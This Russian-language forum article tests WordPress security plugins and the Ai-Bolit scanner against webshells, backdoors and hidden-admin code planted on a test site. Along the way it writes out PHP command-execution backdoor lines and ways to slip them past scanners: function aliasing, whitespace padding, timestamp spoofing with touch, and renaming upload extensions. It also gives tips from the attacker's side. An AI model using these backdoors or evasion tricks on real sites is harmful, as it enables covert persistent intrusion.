✍️ Статья Стоит ли доверять плагинам для защиты WordPress. Часть 2

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
Запускаем первое сканирование в стандартном режиме и, затаив дыхание, ожидаем, что будет обнаружен весь внедренный код.

SPn5uF067p8.jpg

Результат первого запуска Wordfence Security — Firewall & Malware Scan
12/20. Что было обнаружено на самом деле:
  • wp-config.php — system();
  • wp-config-sample.php — passthru();
  • wp-content/nbl.php — веб-шелл;
  • wp-content/mini47.php — веб-шелл;
  • wp-content/alfa—3.php — веб-шелл;
  • wp-content/b-374-k.php — веб-шелл;
  • wp-content/w50.php — веб-шелл;
  • wp-content/c—7.php — веб-шелл;
  • wp-content/themes/index.php — shell_exec();
  • wp-content/plugins/index.php — shell_exec();
  • wp-content/index.php — shell_exec() + модификация файла ядра;
  • wp-content/themes/corrupted/footer.php — system().
Обратим внимание на то, как модуль сканирования распознает файлы /wp-content/index.php и /wp-content/themes/index.php с /wp-content/plugins/index.php: первый оценивается как модифицированный файл ядра и попадает в отчет дважды, а вот другие два уже нет. Почему — загадка. Справедливости ради замечу, что около полугода назад файл /wp-content/index.php также не считался файлом ядра.

Что не было обнаружено (8/20):
  • wp-content/subversa.php — веб-шелл;
  • wp-content/simple.shtml — веб-шелл;
  • wp-content/plugins/heIIo.php — поддельный плагин, записывающий код бэкдора в файл shadow.php;
  • wp-content/plugins/shadow.php — бэкдор;
  • wp-content/themes/corrupted/404.php — скрытый загрузчик файлов;
  • wp-content/themes/corrupted/header.php — require_once get_template_directory() . '/inc/ghostuser.php;
  • wp-content/themes/corrupted/inc/ghostuser.php — код, добавляющий скрытого администратора сайта;
  • wp-content/themes/twentysixteen/header.php — скрытый загрузчик файлов.
ARVmbDbZ628.jpg

Страница «Пользователи» со скрытой учетной записью администратора

Вполне ожидаемо, что были выявлены наиболее популярные веб-шеллы, однако «мимо радаров» прошли загрузчики файлов вместе с require_once(). Интересно то, что два веб-шелла без обфускации под подозрение не попали совсем (к вопросу об избыточности кода).

Кроме того, весьма странно, что изменения темы Twenty Sixteen также не попали под подозрение, равно как и создание еще одного пользователя с правами администратора и последующим его сокрытием со страницы «Пользователи».

DGbXBlf6-Ao.jpg

Результат очередного сканирования Wordfence Security — Firewall & Malware Scan

Хорошо, исключим шесть обнаруженных веб-шеллов из дальнейшей работы, а выявленные «закладки» попробуем доработать:
  • wp-config.php — меняем код на $sy=system;$sy($_GET["subversa"]);;
  • wp-config-sample.php — меняем код на $pt=passthru;$pt($_GET["subversa"]);exit();;
  • /wp-content/index.php, /wp-content/plugins/index.php, /wp-content/themes/index.php — меняем код на $sh=shell_exec;echo $sh($_GET["subversa"]); во всех трех файлах;
  • wp-content/themes/corrupted/footer.php — меняем код на $sy=system;$sy($_GET["subversa"]);.
После этого вновь запустим сканирование и посмотрим, будут ли выявлены эти «закладки» вновь.

fbKh972g7iA.jpg

Еще один запуск сканирования Wordfence Security — Firewall & Malware Scan дал такой результат

На этот раз выявлено 2/14 угроз:
  • wp-content/themes/corrupted/footer.php — system();
  • /wp-content/index.php — модификация файла ядра.
Изменения файла /wp-content/index.php вызовут срабатывание в любом случае, поэтому возвращаем его к первоначальному виду, а «закладку» в файле wp-content/themes/corrupted/footer.php немного видоизменим и запустим повторное сканирование:
  • wp-content/themes/corrupted/footer.php — добавляем около 200 пробелов перед $sy=system;$sy($_GET["subversa"]);.
0m10lMvKTP8.jpg

Полное сокрытие вредоносного кода в «стандартном» режиме сканирования
Результат превосходит все ожидания: 0/13.


Но это «стандартный» тип сканирования, а что будет на «параноидальном»? Включаем режим High Sensitivity в настройках сканирования и запускаем еще одну проверку.

6fzuF_6KxXI.jpg

Активация «параноидального режима» на странице настроек

2ZWre56oqnU.jpg

В «параноидальном режиме» выявлена лишь модификация оригинальной темы оформления
Результат: 1/13.


Модуль сканирования выявил модификацию файла wp-content/themes/twentysixteen/header.php темы Twenty Sixteen. Причем уровень угрозы оценивается как Medium, то есть средний. Плагин ссылается на то, что модификацию файла мог выполнить и сам пользователь. Вообще огонь!

«Уплывшие» файлы cookies плагин Wordfence Security — Firewall & Malware Scan ни разу не заметил.

Sucuri Security — Auditing, Malware Scanner and Security Hardening

Шутки ради стоило запустить этот плагин безопасности, чтобы увидеть заключение по текущему состоянию сайта: All Core WordPress Files Are Correct. Хитрость этого решения в том, что модуль сканирования по базовым сигнатурам работает только при наличии годовой подписки, цена которой составляет от 200 долларов.

1nfpbZDqZRo.jpg

Плагин для защиты WordPress All Core WordPress Files Are Correct

Anti-Malware Security and Brute-Force Firewall

Еще одно потрясающее решение, которое можно найти в репозитории. Итак, запускаем полную проверку и внимательно изучаем результат: 1768 файлов просканировано, 446 файлов пропущено (.CSS, .PNG, .GIF и так далее) и… выявлено восемь потенциальных угроз!

lzHWs3ytRXY.jpg

Итог работы плагина для защиты WordPress Anti-Malware Security and Brute-Force Firewall

Вот эти опасные, по мнению плагина, файлы:
  • wp-admin/includes/class-pclzip.php
  • wp-includes/js/json2.js
  • wp-includes/js/json2.min.js
  • wp-includes/js/tw-sack.js
  • wp-includes/js/tw-sack.min.js
  • wp-includes/js/jquery/jquery.form.min.js
  • wp-includes/js/jquery/jquery.schedule.js
  • wp-includes/js/tinymce/tiny_mce_popup.js
В общем, восемь ложных срабатываний и ничего даже близко похожего на наши «закладки». Но не будем спешить с выводами, так как у данного плагина есть интересная опция, работающая «из коробки»: Upload PHP File Protection. У нас как раз есть загрузчики файлов, так что тест этой функции напрашивается сам собой.

-bUINZNQMRA.jpg

Опция Upload PHP File Protection в действии

После включения этого режима мы видим сообщение: You have been redirected here from hacked.wordpress which is protected by GOTMLS Anti-Malware. Неплохо! Файл mini_b374k.php он загрузить не дал, а вот смена расширения позволила веб-шеллу проскочить со свистом аж несколько раз: *.shtml, *.php5, *.php7 и так далее. Думаю, суть вы уловили.

Cerber Security, Antispam & Malware Scan

Пожалуй, самый интересный продукт из всех рассмотренных в статье. Менее чем за минуту выполнено полное сканирование, итогом которого стали 14 предупреждений. Итак, вот они:
  • wp-config.php — обнаружен подозрительный код (крит.);
  • wp-config-sample.php — несовпадение контрольной суммы файла (крит.);
  • wp-content/plugins/heIIo.php — обнаружен подозрительный код (крит.);
  • wp-content/themes/twentysixteen/inc/fakefile.php — не связанный с системой файл;
  • wp-content/themes/twentysixteen/header.php — несовпадение контрольной суммы файла (крит.);
  • wp-content/themes/twentysixteen/404.php — несовпадение контрольной суммы файла (крит.);
  • wp-content/themes/corrupted/functions.php — обнаружен подозрительный код (крит.);
  • wp-content/themes/corrupted/footer.php — обнаружен подозрительный код (крит.);
  • wp-content/plugins/index.php — обнаружен подозрительный код (крит.);
  • wp-content/themes/index.php — обнаружен подозрительный код (крит.);
  • wp-content/subversa.php — обнаружен вредоносный код (крит.);
  • wp-content/simple.shtml — обнаружен вредоносный код (крит.).
Еще два предупреждения касались плагина и темы, которых нет в репозитории, и, соответственно, целостность файлов не проверить — не с чем сравнивать.

GUqAYv3DoC8.jpg

Результат сканирования плагином Cerber Security, Antispam & Malware Scan

Отличный результат, тем более что плагин не требует каких-то платных подписок для локального сканирования файлов. Разумеется, он не без изъянов: по своему опыту скажу, что обмануть «Цербера» можно с помощью все той же обфускации, да и загрузке файлов он даже не думает препятствовать, но это уже совсем другая история. Из того, что этот сторожевой пес пропустил:
  • wp-content/plugins/shadow.php — бэкдор;
  • wp-content/themes/corrupted/404.php — скрытый загрузчик файлов;
  • wp-content/themes/corrupted/inc/ghostuser.php — код, добавляющий скрытого администратора сайта.
Также есть возможность обманывать модуль сканирования, используя для модифицированных файлов команду touch с параметрами -a -m -t:

$ touch -a -m -t 201911081434.21 shadow.php

Этой командой дата и время доступа и изменения для файла shadow.php были установлены на 201911081434.21, то есть 2019 год, 11 — месяц, 08 — число, 14 — часы, 34 — минуты, 21 — секунды.

Защита WordPress с помощью «Ай-Болит»

Чтобы немного разнообразить ассортимент вредоносов и инструментов, я предлагаю оценить в деле работу популярнейшего «Ай-Болита», которого нахваливают сильнее всех перечисленных в статье плагинов безопасности, вместе взятых. А затем посмотреть на результат работы таких плагинов против спам-страниц, которых я закину на тестовый сайт чуть более 4000 штук.

Спам-страницы — это просто рекламные веб-страницы, содержащие текст с большим количеством поискового спама. Их я позаимствовал на одном из взломанных WordPress-сайтов, с которым мне пришлось разбираться некоторое время назад.

К CMS WordPress «Ай-Болит» прямого отношения не имеет, но многими он воспринимается как «волшебная таблетка» и даже иногда навязывается в качестве необходимой платной услуги некоторыми хостинг-компаниями, если сайт клиента был скомпрометирован.

Итак, скачиваем «Ай-Болит» для сайтов, загружаем файлы в корневую директорию тестового сайта и в консоли запускаем проверку:

$ php ai-bolit.php —skip=jpg,png,gif,jpeg,JPG,PNG,GIF,bmp,xml,zip,rar,css,avi,mov —mode=2 —size=2048K

Я добавил опцию пропуска файлов с расширениями jpg, png, gif, jpeg, JPG, PNG, GIF, bmp, xml, zip, rar, css, avi, mov, установил максимальный размер сканируемых файлов на 2048 Кбайт, а тип сканирования выбрал «параноидальный». К слову сказать, это единственный режим «Ай-Болита», в котором он способен найти хоть что-то, вываливая попутно кучу false positives, то есть ложных срабатываний. Отчего отчет после сканирования разбирать довольно муторно.

VFr5MXS5G1g.jpg

Отчет о проделанной работе «Ай-Болита»

Казалось бы, для такого популярного и мощного инструмента это ерундовая задачка, но… из ~4000 спам-страниц выявлено менее 200 (то есть менее 5%), а из 14 закладок найдены всего 2 — загрузчики файлов (14,3%). Как видим, картина очень далека от идеальной, особенно учитывая возможность чуть «замаскировать» загрузчики файлов. Тогда счетчик выявленных «закладок», вероятно, вообще будет равен нулю.

При том же количестве спам-страниц плагины безопасности WordPress показали такие результаты:
  • Wordfence Security — Firewall & Malware Scan — 474 спам-страницы выявлено из ~4000 (при 39 967 проверенных ссылках), то есть 11,8%;
  • Anti-Malware Security and Brute-Force Firewall — выявлено 9 спам-страниц, то есть 0,2%;
  • Cerber Security, Antispam & Malware Scan — всего 6 спам-страниц, то есть 0,15%.
В общем, если воспринимать такого рода плагины как инструменты для обеспечения безопасности, то про эту самую безопасность можно благополучно забыть.

Выводы

Как вы могли убедиться, количество активных установок плагина и хвалебные отзывы ничего не говорят о качестве продукта. Равно как и наличие плагина в репозитории WordPress не гарантирует вообще ничего. Ежедневное пополнение WPScan Vulnerability Database новыми данными об уязвимых плагинах и темах тоже не гарантирует успешного выявления всех потенциальных угроз. Так о чем речь в итоге?

Если подумать над полученной информацией, то можно понять, что на самом деле нам не предлагают готовые самостоятельные решения, а показывают демоверсии сервисов, доступных по подписке. Иначе говоря, создавать и бесплатно распространять эффективный и мощный инструмент, выявляющий всевозможную вредоносный код, финансово невыгодно для любой компании.

О выгоде клиента, разумеется, речи вообще не идет: платите, и ваша проблема будет решаться штатными специалистами. Все бы хорошо, но с точки зрения клиента эта модель экономически оправданна, только если его сайт будут взламывать регулярно, тогда смысл платной подписки понятен. С другой же стороны, регулярные взломы при наличии подписки означают низкий уровень оказываемых услуг, что также вызывает вопросы. Замкнутый круг.

Как защитить WordPress? Вам решать, заплатить профессионалу за работу «под ключ», сидеть на платной подписке и кормить целую команду разработчиков или самостоятельно пытаться решить проблему «за пару кликов мышью» в надежде на благоприятный исход. Как по мне, лучше и выгоднее все же заранее нанять специалиста для аудита безопасности или, если сайт уже скомпрометирован, для восстановления работоспособности ресурса.

Взгляд со стороны атакующего
  • не надо внедрять «закладки» куда попало: по возможности изучите систему, которую атакуете, чтобы потом было меньше сюрпризов и неожиданностей;
  • говоря конкретно про CMS WordPress: забудьte о модификациях чего-либо в директориях /wp-admin/ и /wp-includes/, а также плагинов и тем из репозитория, равно как и файлов из корневой директории CMS — все ваши труды «смоются» при штатном обновлении или при форсированной переустановке движка;
  • проявляйте фантазию и изобретательность, но не забывайте, что краткость — сестра таланта. Иными словами, не надо пытаться внедрить как можно больше фишек в свой код, в перспективе усложняя себе этим жизнь. Простота, элегантность и нешаблонность мышления — наиболее выигрышная стратегия.
Взгляд со стороны защищающегося
  • откажитесь от всевозможных полумер при защите Wordrpress;
  • не стоит уповать на популярные «плагины безопасности» — это лишь подспорье (зачастую сомнительное), но не решение на все случаи жизни;
  • «варез» на ваших проектах — это выстрел себе же в ногу (или в обе сразу);
  • если вы работаетес программистом и принимаете проект, то старайтесь не портить с ним отношения и не мудрить с оплатой — это уменьшает ваши шансы принять сайт с неприятными бонусами в виде «закладок»;
  • техподдержка большинства хостинг-компаний откажет вам в восстановлении ресурса, если тот был скомпрометирован, зато с большой вероятностью предложит платную услугу чистки сайта тем же «Ай-Болитом»;
  • о бэкапах надо позаботиться заранее — это прописная истина, которую частенько напрасно игнорируют владельцы сайтов.
 

📌 Золотая реклама

AnonPaste

Верх